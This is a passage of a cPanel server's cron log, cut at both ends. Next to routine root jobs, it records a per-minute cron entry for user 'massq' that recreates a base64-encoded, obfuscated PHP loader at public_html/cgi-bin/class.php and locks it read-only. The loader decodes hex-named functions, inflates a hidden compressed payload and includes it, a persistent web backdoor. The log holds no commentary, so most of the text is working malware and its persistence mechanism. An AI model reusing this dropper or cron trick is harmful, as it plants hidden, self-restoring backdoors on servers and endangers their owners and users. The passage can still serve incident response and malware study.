ouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 01:18:01 server CROND[3187]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 01:19:01 server CROND[3249]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 01:20:01 server CROND[3309]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 01:20:01 server CROND[3310]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 01:20:01 server CROND[3313]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 01:20:01 server CROND[3314]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 01:20:01 server CROND[3312]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 12 01:21:01 server CROND[3536]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 01:22:01 server CROND[3605]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 01:23:01 server CROND[3665]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 01:24:01 server CROND[3728]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 01:25:01 server CROND[3792]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 01:25:01 server CROND[3793]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 01:25:01 server CROND[3794]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 01:26:01 server CROND[4002]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 01:27:01 server CROND[4073]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 01:27:01 server CROND[4074]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 12 01:28:01 server CROND[4134]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 01:29:01 server CROND[4190]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 01:30:01 server CROND[4247]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 01:30:01 server CROND[4248]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 01:30:01 server CROND[4252]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 01:30:01 server CROND[4253]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 01:31:01 server CROND[4359]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCR